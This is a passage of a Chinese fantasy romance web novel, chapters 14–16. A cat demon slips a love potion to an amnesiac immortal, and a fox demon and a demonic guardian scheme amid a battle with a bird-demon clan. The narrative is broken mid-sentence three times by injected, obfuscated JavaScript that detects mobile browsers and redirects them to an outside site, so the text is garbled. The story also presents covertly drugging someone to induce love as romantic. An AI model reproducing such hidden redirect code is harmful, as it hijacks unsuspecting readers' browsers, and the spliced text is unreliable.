有一次别离,她才更加确定自己的心意,她才知道自己到底想要什么。 楚柳的心底燃烧起一个念头。 她一定要找到动情药。 楚柳觉得自己快疯了,自己必然是疯了……她看似浅笑盈盈,心里却像是有只正在挣扎的野兽,马上就要冲破束缚。 要让容贺渊爱上她,要永远都不分开,无论自己去哪里,他就去哪里。从今往后,任何人,任何事都别想再拆散他们。 疯狂生长的树干拔地而起,在胸腔迅速展开蓬勃缠绕的枝叶,整个身体都要被涨满了。 原来爱是这样好的东西。 楚柳笑得有些凄楚,她从来没有过这样的笑容,她还以为自己会像阮眠说的那样永远天真单纯下去。可是既然尝到了情爱的滋味——她没办法回头。 短短几天时间,破破烂烂的稻草屋就变得焕然一新,床铺换成红木雕花架子床,新桌椅用的都是散发着淡淡香气的檀木,沈赋还不知道从哪弄了个梨花木的梳妆台,就算这样阮眠仍是嫌弃,每天都变着法地折腾他。 “你朋友朝这边来了,”沈赋从窗户翻进屋内,坐到了正倚着桌子吃葡萄的阮眠旁边,笑得邪气极了,“这也在你计划之内?想让他们来对付我?” 阮眠微微一笑,伸出柔若无骨的手指,冰凉的指甲轻轻划过沈赋的侧脸,妩媚妖冶地软声道,“不对,是要你……帮我对付他们。” 两人贴得这么近,沈赋也没法从她白皙的皮肤看出任何瑕疵,这样好看的一张脸,每日看着也是赏心悦目。 “哦?” 沈赋一双桃花眼生动无比,笑容无辜道,“我哪有这个本事。” “你只需要拖住那神仙便可,让楚柳独自来见我,”阮眠声音冷清,一双幽深的眼眸沉静如井,眼尾微微上挑,“既然那神仙还跟着她,便是还没有恢复记忆。我与他交过手,只是会些简单的仙术,不足为惧。” “咦?难道我记错了,你不是被他捆起来扔到柴房了吗?” 阮眠把捻起的葡萄又丢回瓷盘,翻了个漂亮的白眼,“我那是故意试探,如果我把他打得落花流水满地找牙,柳柳有又什么理由还跟在他身边?” “原来如此,”沈赋惊叹道,“狐妖大人真是神机妙算,在下佩服。” 14. 第 14 章 浓雾弥漫,黑云压境,再往前走便是魔道地盘。 “这结界竟然如此好破,我还以为得费一番功夫,”脚下杂草丛生,楚柳踩在厚厚的草叶上,拨弄开挡住视线的树枝,“倒没我想象得那么恐怖,就是看起来好荒凉,像是废弃很久了。” “魔尊闭关修炼几百年,群龙无首,底下早就乱成一团。”容贺渊帮楚柳挡住差点回弹到她额头上的枝杈,修长秀气的手指在她发顶一抚,扫落了两片碧绿的树叶。 楚柳回眸瞧他,有些好笑:“这些也是你在茶馆听来的?那说书人好厉害,连这些都知道。” 容贺渊神情自若,面不改色地点头:“正是如此。” “不知阮眠怎会连这无名小卒都打不过……倒也不是,听说他还是魔尊护法呢,咦,既然魔尊闭关修炼,那他岂不是清闲自在,难怪有时间来为那点事报仇,真是无聊至极。对了,我和你说过没有?那护法原是山中猎户,有一回正在追兔子……” “说过了。”容贺渊的神情有些无奈,这故事一路上讲了不知道多少遍,但他还是耐心地听楚柳把她认为最精彩的部分说完才打断。 若是哪天茶馆还要招说书人,楚柳一定是直接录取的那个。 容贺渊薄唇轻抿,嘴角是微不可见的笑意。突然,他眸光一顿,想到他们俩在悬崖底下苏醒后,二人也是这样,边并肩走着,边听楚柳口若悬河,滔滔不绝地讲故事。 那时她都说了什么?容贺渊竟能一字不落地全部想起来。 “我们两个是一见钟情。” “茫茫人海,你看到我,我也正好看到你。” “私定终身,不离不弃。” …… 如同声音也能穿溯时光,清晰地响在耳边。那时他记忆全无,本应该对一切都戒备警觉,但不知为何,楚柳说的一切他都深信不疑。 他甚至还记得……“小帅”这个莫名其妙的名字。 容贺渊的目光微微侧向旁边,这名字大概只是楚柳信口胡说,只是为了捉弄自己,如今想来定是已经忘记了。 只是可笑楚柳说的每一句话,他都视若珍宝地刻在心里。 “就在前面啦,这路可真难走,树这样密,想飞都没处飞。等找到阮眠,一定要好好问问她是怎么被弄到这里的。” 楚柳偏过头咧嘴一笑,牙齿像是整齐的贝壳,一双眼睛黑亮清澈,不管在哪都是无忧无虑,充满活力的样子。 她正要向前跑去,容贺渊却突然握住了她的手腕,敛息凝神道,“别动!” 下一秒,天穹轰然炸裂,密密麻麻的树丛长了脚般骤然穿梭移动,片刻不停。一瞬间,平平无奇的树林宛若迷宫,四面八方地将俩人困在了里面。 还好两人一直紧贴在一处,不然这树动得这样快,要是分开,就再难找到彼此。 “不好不好,是陷阱!” 楚柳也看出是怎么回事,她再伸出掌心,那一点紫色光芒挣扎似的乱颤了几下,像是失去方向的罗盘,“咻”地一声熄灭了。 “先离开这里。”四面树木鬼魅般扭曲旋转,容贺渊冷静地把楚柳护在身后,“这儿是漩涡的中心。” “好。” 楚柳只听他的声音便感到安心,两人的手互相紧握,容贺渊另一只手竖起两根手指,朝着前方一指,面前的几棵树顿时“砰”地碎裂,硬生生在灰飞烟灭中开出一条路来。 他们正要离开漩涡中心,却听到苍穹之上,惊雷轰鸣。 “跑什么?”沈赋身着一身墨色衣袍从天而降,声音带着三分戏谑,“我这无名小卒有那么可怕吗,嗯?” 楚柳一抬头就对上他邪气狷狂的笑脸,顿时明白了这人就是那魔尊护法。不仅阴险狡诈,还十分斤斤计较! “小心眼!” 她指着沈赋咬牙切齿地喊了一声,又想到这人竟然一直在暗处偷听,那岂不是每一句坏话都听见了……她突然有些心虚,往仙君身后躲了躲。 容贺渊却是不为所动,懒得参与他们之间的斗嘴,指尖凝出冰雪长剑,微微眯了眯眼睛,腾空而起,衣袂破风之声如同裂帛。他的剑尖裹挟着凛冽的杀意,直指沈赋面门。 一尘不染的月白身影与墨色魔袍在破碎的云层间穿梭如电,刹那间天势大变,雷云翻涌风雨欲来,银蛇般的雷霆呼啸而下。 一瞬间所有树木停止转动,两人兵刃相撞时爆发出震耳欲聋的轰鸣,余波荡开,周围的树林皆被斩断,树魂化作缕缕青烟,顿时浓雾弥漫。 楚柳看着容贺渊浑身肃杀之气的样子,脑海中涌起一些不好的回忆,脊背滚过寒冷,双腿都有些发软。 “啧,不是说是个失忆的神仙,只会基础的法术吗。” 沈赋险些招架不住,连连后退,表情却丝毫没有如临大敌的畏惧,也没有出乎意料的怒气,反而笑容更盛,像是终于棋逢对手,痛快过瘾。 容贺渊面无表情,薄唇轻启道:“对付你,基础的法术便以足够。” “哟,有意思。” 沈赋这回不再躲避,悬空立于云端,双手合十又向两侧慢慢拉开,手掌间黑雾缭绕,浮现出一把燃着火焰的弯刀。他握住刀柄随意挥了两下,火焰所过之处,连空气都被灼烧出扭曲的波纹。 “雕虫小技。” 容贺渊方才便发觉沈赋并没有使出全部的实力,自己和这专门降妖除魔的宝剑都寂寞已久,昨日见到那乌鸦妖也是实力平庸,根本激不起他的斗志——但是沈赋不同。 两道身影凌空对峙,一白一黑,泾渭分明。剑刀相撞,迸溅出万千火花。两人皆是内力雄浑,僵持不下,脚下的虚空结界竟被这股力量压出蛛网状的裂缝。 楚柳原还想趁乱搞个偷袭帮帮仙君大人,可是这毁天灭地的气势,好像两人要在此决斗,她连看清哪道身影是谁都十分困难。 这时,楚柳突然感觉到掌心一阵发痒,她抬手一看,那道紫色的定位荧光又出现了,距离不远,就在这附近。 “夫君,你先自己撑住,我去救阮眠了!” 她仰起头大喊一声,又不放心地继续喊道:“我先救了她,再回来救你——!” 那声“夫君”叫得容贺渊眼眸微动,心神不稳,沈赋敏锐地捕捉到,轻佻地笑了一声,“还是个情种。” “与你何干。” 容贺渊一向冷脸端着架子,听了这话竟难得地反驳了一句。沈赋仔细一瞧,仙君的耳尖竟然也微微泛红,他啧啧称奇说了声“佩服”,手上的招式却不肯退让半步。 两人打斗愈发激烈,所过之处山河破碎,云海翻腾,日月无光。楚柳边朝着反方向飞身而去边觉得可惜,她倒是真想知道究竟是谁会赢。 阮眠正坐在铺了深紫色长毛毯的椅子上,凝神看着桌面,桌上放的正是一片青色蛇鳞。 她浓密的睫毛蝶翅般微微颤了颤,有了蛇鳞,要研制的药很快就能大功告成了,接下来只剩最关键的—— 大门“砰”地一声被从外踹开。 阮眠微微一笑,她的最后一味药来了。 “阮阮,不要怕,我来救你——” 楚柳杀气凛然地闯进来,刚才目睹那一场仙魔大战,她也热血沸腾,想要在敌后战场也大展身手。可是真的闯进屋里,她却是愣在原地。 这一屋子做工精致的家具,这床,这梳妆台,这桌子,这椅子,这柜子,这茶壶……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阮眠深吸一口气,“你还记得我们小时候,有一段时间总是去找一只黄鹂玩吗?……对,就是姜梨。她死了,是因为我。” …… 等到阮眠讲清楚事情的来龙去脉,楚柳已是面色苍白,再也不知道该说什么。 那只最喜欢唱歌跳舞,平时总是开开心心,蹦蹦跳跳的小黄鹂……楚柳记得她,记得她母亲对她极其严厉,也极其疼爱。 那段时间楚柳的娘亲出了远门几百年没有回来,所以楚柳最羡慕的就是姜梨。 竟然就这样死了。 “柳柳,姜夫人不会善罢甘休,一定要我偿命。不过魔道这处能暂且躲避,你也先留在这里,我怕他们还会再来找你。” “可是躲得了一时……” 阮眠打断她,“那便先躲过这一时。” 她的手覆盖上楚柳的手背,轻轻摸了摸,话锋一转,问道:“上次和你说,动情药的事,你想得怎么样了?若是等到那仙君恢复记忆,你不也是死路一条?” 楚柳神情一怔,“我……”她咬了咬嘴唇,既然已经有了打算,又何必再拖延。 “我想要那颗动情药。” 阮眠神情骤然放松,像是长舒了一口气,微微笑道:“柳柳,你能想通,我很高兴——只是向狐妖求药,”她眉毛一挑,“你也知道,没有白做的买卖,这可是要交换的。我可不会因为你是我的好朋友就坏了规矩。” “规矩”两个字从阮眠的嘴里说出来,总有一种违和感。楚柳心下不太自在,但还是点了点头,“那你想要什么?……但我有什么你不是都知道嘛,全都在我家抽屉里,我从小到大攒下的好东西都给你见过,唔,我记得你最喜欢一个玲珑锁,对不对?” 阮眠眼神一动,心脏突然柔软了些,像是被小猫轻轻踩了一下。 她握住楚柳的手,轻声道:“柳柳,我要你的尾巴。” 15. 第 15 章 屋内顿时一片寂静。 “我……我就这一条尾巴,你把它拿走,以后我怎么办嘛!”楚柳睁圆眼睛,难以置信地瞪着她。 “谁说你只有一条尾巴了?” 阮眠浅浅一笑,“九尾猫妖的血脉会代代相传,柳柳,你和你娘亲一样,也有九条尾巴。” “怎么可能呢?”楚柳大吃一惊,“我从来都是只有一条尾巴的呀,不信你看。” 还没等她转过身去,阮眠就指尖流转弹出一道药粉,细腻的白色粉末径直落在楚柳身后。 “咦…这,这是什么?” 楚柳一瞬间只觉得尾椎骨的位置泛起阵阵痒意,她挠了两下,却还是抵抗不住奇痒无比的感觉,下一刻,她“啊!”地惊呼了一声,只见幽暗的烛火下,她毛绒绒的九条猫尾扯破衣服大张旗鼓铺展在身后,微微摇晃,泛起珍珠般的光泽。 “我真的……我真的有,”楚柳咽了咽口水,不敢相信地瞪圆眼睛,“九条尾巴!” 阮眠的目光像是幽深的井,“我只要一只便足够,柳柳,闭上眼睛,”她的声音好似带着潮湿的水雾,气息落在楚柳耳边,带来一阵蛊惑般的酥麻,“不会痛的,放心交给我。” 外面仍是打得不可开交,沈赋手上的刀仍在燃烧火焰,黑烟滚滚,却是快给他自己熏哭了。 突然间,木屋明灭一道紫色的幽光,沈赋眼睛一亮,这是他与阮眠约定的暗号,看来事成了。 “喂,你们是来找眠眠的吧?我不拦着你了,要去就去。” 容贺渊眼底闪过一丝怀疑,两人缠斗至此虽是还胜负未分,但魔道地界魔气丛生,沈赋本就占着优势,这样打下去也不公平。 “仙君大人真是身手不凡,在下佩服。” 沈赋一双清亮的眼睛被浓烟熏得微微发红,吊儿郎当地飞身落到到容贺渊身侧,一只胳膊径直搭在对方的肩膀,“不打不相识,交个朋友怎么样?” “不。” 容贺渊甩开横在肩上的手臂,看都没看他就冷冰冰地拒绝了,转身向木屋的方向走去。 沈赋“切”了一声,又毫不在意地咧开嘴笑,尖尖的虎牙让他看起来像是未驯服的小兽,“随便你,想和我做朋友的多了去呢,才不缺你一个。” 夜色已深,容贺渊在结界中施展法术,又盖出一座小屋,和他与楚柳跌落山谷时住的那间房子近似相同。 月光如同霜降,壁炉残留着暗红的火星,被风吹动着明明灭灭。暮色渐渐降临,四周的一切笼罩在一片灰暗之中。 “夫君,你今天一定很累了吧。” 容贺渊坐在桌边,皎洁的月光把他白皙俊美的面容勾勒出一圈柔和的光晕,脸颊上细小的绒毛也被映出几分柔软。 楚柳小步地磨蹭地坐到他的旁边,趴在桌子上,下巴垫着胳膊,一双葡萄般水灵灵的眼睛瞧着他看。 容贺渊一看她神情便知是心里有鬼,声音平淡地顺势说道:“还好。” “这是吃了能强身健体的药丸,”楚柳献宝似的把藏在身后的药丸拿到容贺渊眼前,“唔,还对你恢复记忆有帮助。” 容贺渊神情未变,看着她的眼睛问道:“这药是谁给你的?” 不知怎么,楚柳被他幽黑深邃的眼眸一瞧,竟觉得后背有些发凉。她只当自己在做亏心事才会这样,眼神躲闪地回答道,“是,是阮阮说……给你赔罪。” 容贺渊审视的目光终于从楚柳的脸上挪开,伸出骨节分明的手拿过那玫瑰紫的药丸,不经意似的说道,“拿杯水来。” “喔……好!”楚柳一看他真的要吃,连忙一骨碌坐了起来,像是店小二似的又是找茶壶又是倒水,忙前忙后十分周到。 但也没有看到身后,容贺渊修长的手指在虚空中绕了两圈,掌心中又以仙气凝成了一模一样的药丸。 他不动声色地把动情药收进袖口,脑海中闪过阮眠的脸,微微眯了眯眼睛。 “水来了,”楚柳殷勤地把茶杯放到桌上,得意地说,“这下不会噎到了。” “嗯。” 容贺渊当着她的面把新做的药丸放入口中,又端起茶杯喝下半杯的水,楚柳亲眼瞧着他喉结滚动,也情不自禁地跟着咽了咽口水。 这就成了!……这比她想象的容易多了! “夫君,你现在,有没有什么感觉?”楚柳贴得更近了些,眨着眼睛好奇地问。 容贺渊配合地微微皱了皱眉:“是觉得有些不一样。” 这话说了跟没说似的,楚柳小心翼翼地坐到他旁边。 只是她也忘记问阮眠吃了这动情药该有什么反应。不过,动情药……动情……? “那你……热吗?” 楚柳福至心灵,脱口便问出这句。 容贺渊的眼皮一跳,喉结滚动,双手在腿上用力攥紧,手背上黛青色的血管绷得根根分明,像是纵向的山脉。 他的嗓音微微沙哑:“是有些热。” “那,那我去开窗。”楚柳手忙脚乱地站起来,背过身小跑过去打开了窗户,她脸颊的红晕越来越深,耳朵也红得可爱,好似一抹艳丽的桃花。 楚柳脸红心跳地谴责自己,有什么好紧张的!既然仙君吃了动情药,就一定会爱上她的。 就算日后恢复了记忆,也一定会爱她。 窗户被风吹开了一条缝隙,冷冽的寒风吹进,容贺渊深吸口气,那阵燥热的感觉也舒缓了很多。 “你……”楚柳又坐回仙君的面前,正当容贺渊以为会发生什么的时候,却听到她轻声问,“你可不可以说,你爱我?” 她密长的睫毛低低垂着,像是期待又像是在害怕地微微发颤。 容贺渊说过不知道多少次的“喜欢”,但却好像从没说过“爱”这个字。他略一沉吟,便发自本心地对她说道:“我爱你。” 简单的三个字,却好像引起一场波涛汹涌的海啸,把她彻底淹没。 动情药原来这样好用。 原来她想要的一切都只需如此简单便全部拥有。 楚柳的身体深处涌动起难以分辨的感情,复杂到她甚至分不清是震惊,欣喜,哀痛还是麻木。 “我还想听。”心神俱裂的疼痛一刻都没有消失,整个胸腔泛起苦涩,楚柳痛得表情都微微狰狞,湿漉漉的双眸却舍不得挪开视线,“再说一遍,好不好?” “我爱你。” 容贺渊用力地看向她,目光深情专注,清澈黑润的双眸仿佛映着月影星辉,他认认真真,一字一顿道:“我爱你。” “柳柳,我爱你。” 那道声音宛如秋日温暖的阳光下厚重的落叶,暖洋洋的,让人不自觉想要沉溺其中。 我爱你。 容贺渊俯身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691658|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钳住楚柳的肩膀,吻住了她红润的嘴唇,搂紧了她的腰。 仿佛尝到了冰雪,唇舌相抵,两道不稳的气息交织缠绕,楚柳闭上眼睛,一滴泪顺着眼尾落下。 清晨,微弱的日光还未曾完全升起,就听到阵阵由远及近的鸟鸣。 楚柳腰酸背痛地从床上爬起来,看到仙君正在窗前负手而立,眉头微皱。 “发生什么事了?”她揉揉乱糟糟的头发,睡眼惺忪地打了个哈欠。 容贺渊看向她的目光温柔缱绻,“无事,你好好歇息。” “歇什么歇!”阮眠突然推门而入,“快出来,”她语气急促道,“是姜夫人她们来了。” 楚柳连忙整理好衣服,等到三人走到屋外,树林深处已经弥漫起了浓雾。 突然间狂风大作,呼啸的寒风中仿佛裹挟着湿冷的血腥味,木屋上空的阳光被遮挡得严严实实,瞬间如同黑云压境。 沈赋飞身翻上屋顶,看清是鸟妖族大军正浩浩荡荡地朝着这边飞来。他“嘶”地吸了一口冷气,落回地面时神情严肃,故作冷静地说:“跑不了,我们被包围了。” “什么!”阮眠揪起他的衣领,怒目而视,“你不是设了结界吗?” 楚柳虚弱地举起手臂,“被我解开了……” 四人面面相觑,最后沈赋一锤定音,“大敌当前,我们四个应当齐心协力,不能内讧!” “你们俩,”阮眠指向沈赋和容贺渊,“能撑多久是多久,争取时间,姜夫人的目标是我,让我和她单独聊聊,也许还会有转机。”她咬牙切齿道,“不然和鸟妖族这样无休无止地打下去,只会坏了我的正事。” 只有沈赋知道她说的“正事”是什么,却缄口不言。楚柳连忙扯住她的袖子,“我跟你一起去!” 阮眠似乎想要拒绝,楚柳却语气坚定:“姜夫人说过,我娘亲有恩于她,要是她还愿意记着旧情,也许能愿意和我们多说几句。” “那好,”阮眠轻轻蹙眉,又叮嘱道,“柳柳,到时若是她执意要杀我,你就先跑。” 她话音未落就听到一声肃杀的鸟叫声,仿佛是撕破空气一般尖锐刺耳,又是熟悉的一片阴翳遮天蔽日。 浩荡大军中,为首的正是姜琛,他的双臂化成巨大的黑色翅膀,挥舞出两道凌厉刺目的光芒,余波横扫千里,下方山脉瞬间被削平了山头。 姜夫人坐在仙鹤之上,穿着一身火红的妖袍,那衣裳也满是羽毛,随便摘下一片就能化作利刃。 沈赋偷偷走到容贺渊身侧,挑了挑眉毛:“仙君大人,就是他们一起上,也不是你的对手吧?”他笑容狡黠,眼底闪过一丝邪佞的光,“你真的失忆了?” 容贺渊静默不语,眼神如同凉薄的冰雪般落在沈赋笑意盈盈的脸上,“我只保护柳柳,你们的事,与我无关。” 楚柳走在前面,小脸皱成一团,又是为姜梨的死难过,又是害怕姜夫人真要阮眠偿命。 她百思不解地问:“阮阮,姜夫人为何不救姜梨,要让她跟着那凡人送命?” “我怎么知道?” 阮眠手中的紫色妖气凝成一根柔韧长鞭,随意一甩,鞭子破空发出凌厉的风声。 一切依照计划进行,他们四个兵分两路,沈赋和容贺渊各自手执刀剑抵抗不断拉弓射箭的鸟妖,楚柳与阮眠故意潜入山林,引得姜夫人单独追赶。 16. 第 16 章 “放箭。” “放箭。” 姜琛高声下令,顿时万箭齐发,急如骤雨。 若是一对一,姜琛算不上是其中任何一人的对手,但是此刻他身后有整支大军,神情丝毫没有畏惧。 “又是这招,不能来点新玩意儿。” 沈赋虽是这么说,眼中却闪过一丝兴奋。他舔了舔嘴唇,不闪不避,迎着铺天盖地的箭矢飞身上前,手中的弯刀挥动出燃烧的烈焰。 他的身后突然升起滚滚浓烟似的黑雾,越来越多,化成巨大的黑色莲花,将他整个人包裹在内。黑莲像是天然的盔甲,箭羽与之相撞纷纷折断跌落,发出令人牙酸的尖锐声响。 “真浪费,”沈赋看着不断掉落的断箭惋惜地摇摇头,突然又勾起嘴角,“不如还给你们。” 他猛地一振双臂,黑莲绽放,无数莲瓣顿时如利刃般飞射而出,以同样的方式如数奉还。 不断有禽鸟受伤嘶鸣之声,姜琛额头渗出些许冷汗,狠狠握紧了拳头,下令道:“换阵!” 半空中的另一边,容贺渊立于云端,指尖凝出泛着寒光的雪白长剑。他的身后浮现出九轮金色光晕,每一轮中都有仙剑虚影,也学着沈赋的样子形成一道盔甲似的屏障。 “啧。” 沈赋撇了撇嘴,正觉得胜券在握,却突然瞧见鸟妖的阵法无比诡异,不再漫天放箭,而是集中成了一个巨大无比的山石。 他还没有看清到底是怎么回事,只见山石以惊人的速度扑面而来,竟是燃起了火,还未曾贴近,就感觉到层层热浪扑在脸上。 沈赋手中的刀也是烈火缠身,若是两者相撞,整个结界都会破裂。他眉头紧皱,只是犹豫该不该出手的那一秒,巨石已经滚落到了身前。 容贺渊眼神一冷,手中的剑突然换了方向,冲出一道寒冰似的凛冽白光。 “砰!” 山石与白光在半空相撞,时间仿佛在这一刻静止。紧接着,无数山石浮空而起,又在下一刻被撕成齑粉。天地为之一静,随即爆发出比烈日还耀眼的光芒。冲击波呈环形扩散,方圆万里的云层被一扫而空,露出湛蓝无暇的天空。 树林深处。 几番缠斗之下,阮眠和楚柳皆是气喘吁吁,原以为逃到林中不便于姜夫人飞到天上放冷箭,可没想到就算是近身打斗,二打一她们仍不是对手。 “姜夫人,你知道姜梨为何会爱上那个凡人吗?你知道为什么她愿意听从我的话,宁愿拔掉羽毛也要换同心咒的毒药?” 阮眠攀在树枝上高声喊出这句,正要挥袖攻击楚柳的姜夫人却停下了,恶狠狠地瞪向阮眠:“还不是你花言巧语,害她中了阴谋诡计!” “那你可知,她为什么会听信我的花言巧语?” 阮眠冷哼一声,“因为你作为母亲,把自己的意愿强加给她,你始终都把她当成一个重活一次的自己。” “你信口雌黄!” 阮眠冷眼看着姜夫人有些扭曲的面容,仍是字字诛心,“所以她为了摆脱你的控制,情愿和一个凡人纠缠在一起,情愿用自己的性命相要挟,换你对她失望,换你放手。” “当年我想要得到却得不到的,如今拱手送到她面前,她有什么不满意?”姜夫人眼含泪水,目光突然狠狠看向楚柳,“当年我败给你母亲,该属于我的荣光尽被占去,我只是不想让我女儿体会同样的痛苦!我要她处处都强于你,我要她……” 楚柳脸上满是震惊的神情,从小到大,她和娘亲见面的次数都是屈指可数,从来没有机会听到娘亲讲过这些陈年旧事。 她一直都羡慕姜梨有个时时刻刻陪伴在身边的母亲,却没曾想过,这样全方位的陪伴会让姜梨有多窒息。 “我要她好……我只是想要她比谁都好,比谁都好……” 说到这里,姜夫人想到女儿的下场,却是再也控制不住地失声痛哭。 无需任何人再提醒什么,懊悔已经像是带刺的荆棘死死缠绕住她的心脏,“是我害了女儿,是我害了她……我不愿救那凡人,不愿看她葬送一生,可是等我赶到人间时…他已经气绝身亡,我女儿也……终究是迟了一步!” “姜夫人,就算我真的去陪葬,姜梨也不会回来了。你知道,从头到尾我都没有逼姜梨做任何她不想做的事,这一切都是她自己的选择。” 阮眠掷地有声道:“让她做出这个选择的罪魁祸首,绝不是我。” “好……好……是我。” 姜夫人泪水纵横,像是一瞬间苍老了千岁,挽成发髻的乌黑秀发变成触目惊心的银白,她慢慢举起手臂,一片火红的羽毛升上天空,炸裂开一道刺眼的红光。正在缠斗的鸟妖一族收到命令,停止了进攻。 容贺渊与沈赋各自立在半空,遥遥地向这边看过来。 “走。” 姜夫人疲惫地下达命令,仙鹤破云而来,鸟妖一族调转了方向,尽数离开。 尘埃落定,阮眠和楚柳也从山林走出,都是心有余悸。 沈赋鼻梁横亘着一道血痕,衣服也破了几处,看得到胸前和手臂裸露的结实肌肉,他脸上蹭了灰,狼狈的像是刚从煤坑出来。 “你们没事吧?”楚柳紧张兮兮地跑过来,查看仙君有没有受伤。 容贺渊抬手将她脸边凌乱的碎发别到耳后,“无事。” “没事的是你好不好?我都快要被烧成炭了。”沈赋大呼小叫,腆着脏兮兮的脸凑到阮眠身边,“你看这儿,还有这儿。” 阮眠一掌按在沈赋脸上把他推到一边,“行了,你有没有事我还不知道吗?” 他们两个中了同心咒,若是疼痛流血都会彼此感知,阮眠好端端地站在这儿,沈赋自然也是完好无损,不过只是蹭花了脸,就要装成惨兮兮的样子博同情。 “柳柳,你受伤了。” 容贺渊皱着眉毛,凝神看着楚柳脸颊边一道细微的擦伤,破了点皮,虽然没有血流出来,但也是处伤口。他的眼眸微微眯了眯,冷声道:“不该就这么放走他们。” “谁放走谁啊,再打下去我的房子都没了!这可是我家!” 沈赋身为这里看起来受伤最严重的一个却屡被无视,他气得耳朵都快喷火,还是没人理他。 虽是经过了一场恶战,但也还算是好结局。危机解除后,四人便是要分道扬镳,阮眠拿到了蛇鳞和猫尾,说要回莲花山炼药。沈赋死皮赖脸地说他也要去,却被阮眠狠狠瞪了一眼,让他有多远滚多远。 “既然阮姑娘不愿收留我,我就继续我这前途无量的魔尊护法好了。” 他说完“前途无量”这四个字就又被阮眠羞辱了一番,楚柳在一旁听得心惊胆战,还不知道阮眠有如此蛇蝎刻薄的一面,可却总觉得沈赋被骂得狗血喷头,也是乐在其中的样子。 待走到只有他们两人的地方,沈赋凑到阮眠旁边低声问她:“你这药做成之后,到底给谁用,不会是自己吃吧?” “不如你猜猜看,我想要给谁?”阮眠眼波流转,潋滟的双眸仿佛含着一汪春水,“你可曾听说过一千年前妖族的恶战?当时为了争夺万妖之王的位置,妖族自相残杀,伤亡无数。” 沈赋脑海中顿时回想起那些哀鸿遍野,血流成河的画面,他心下一惊,却神色懒懒地摊摊手:“我怎么会知道?” “你好歹也算修炼成魔了,整天像只苍蝇似的无所事事,还不如多去看看你们魔道的卷宗。” 阮眠眼底浮出一层冷意:“最后拿到圣物的妖却不愿对抗天帝,以为只要服从就会被放过,还陨灭自身化成一座岛屿,镇守暴乱的海妖。” “我说过,如果坐在这个位置上的妖错了,自然是要换。若是现在还做不到,我可以换了她身体里的灵魂。” “狐妖大人,你可别拿我们两人的性命开玩笑。” 沈赋这样说着,眼眸中却尽是信任。 阮眠拍了拍他的脸,眼神幽深如井:“那你就祈祷我能成功,还有少给我添乱。” 从魔道结界出来以后,人间已是漫天飞雪的冬季,地面厚厚的积雪像是一层棉被,踩上去柔软又踏实。 容贺渊还是为楚柳脸上被擦破这事耿耿于怀,“我说过要保护你,就不能让你受伤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691659|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀,”楚柳无奈地叹了口气:“这点小伤根本不碍事嘛,我一点儿都不疼,真的。” 她看容贺渊还是不开心的样子,头顶跳出两只耳朵,“给你摸摸。” 容贺渊表情瞬间柔和了些,抬手捏了捏毛茸茸的小猫耳朵。 楚柳突然兴冲冲地走到前面,“对了,给你看,我从来都不知道,自己竟然有九条尾巴!……不对,只剩下八条了,那也很多。” 可是她再怎么努力却还是像从前一样,只生出了一条尾巴。容贺渊伸出手,那只猫尾就像有自我意识一样缠了上去。 “奇怪,”楚柳摸了摸鼻子,“还需要阮阮的痒痒药粉。” 容贺渊拧紧眉毛:“痒痒……药粉?” “就是洒在身上,屁股那里就会变得痒痒的,然后就有尾巴长出来啦。” 楚柳不好意思地笑了笑,“等我下次给她要一点,再给你看。” 她丝毫不知道这九条猫尾有什么作用,只想到自己以后东奔西跑拖着这些,一定会影响自己的速度。 “为什么是剩下八条?”容贺渊直勾勾地盯着她,声音冷的像结冰。 楚柳缩了缩脖子,神情微微慌乱,“这是,这是秘密…不能告诉你。哎呀,要那么多尾巴有什么用嘛,我很专一的,只有一条就够啦。” 她急忙扯开话题,又聊了许多记忆中有趣的事,只是明明都是她自己做的,却都讲成她和仙君从前一同经历。说得都是有板有眼,若不是容贺渊恢复了记忆,对这些毫无印象,倒还真的会相信。 只是楚柳提到了千年前的战乱,却让他突然有了些模糊的回忆。 那时他还尚且年幼,似乎也听到了一些有关九尾猫妖的传言,只是都不记得了。 还有一件事容贺渊始终没有明白是怎么回事。前三个月,他有时会恢复片段的记忆,但是那位白发苍苍的老人,和抚摸过脸颊的粗糙如树皮的手掌,他却是全无印象。 “你要报仇。” 甚至连这句话也无比陌生。 “夫君,我带你回家吧。”楚柳握住容贺渊的手,捏了捏他指腹的软肉,“我爹早就过世了,娘亲也不知身在何处,还没有兄弟姐妹,只有一些妖怪朋友……他们都很好很好的。你来了,我们两个就在山林做一对平凡夫妻,好不好?” 这从前也同样是容贺渊的愿望。 但是此刻他心神一动,想到的却是天帝曾说过的“妖盟”二字。 自从妖王陨灭以后,这一千年来妖怪居无定所分散在各处,所以天庭捉妖从来都是遇到便抓,并没什么章法。 如果楚柳能带他去了妖盟,那不但能把那些妖怪一网打尽,还可以借此知道其他妖怪的藏身之地。 就像他对沈赋说的,他只保护楚柳——但完成天宫的任务,是他职责所在。 容贺渊微微颔首:“好,我跟你回家,只是要等等。” 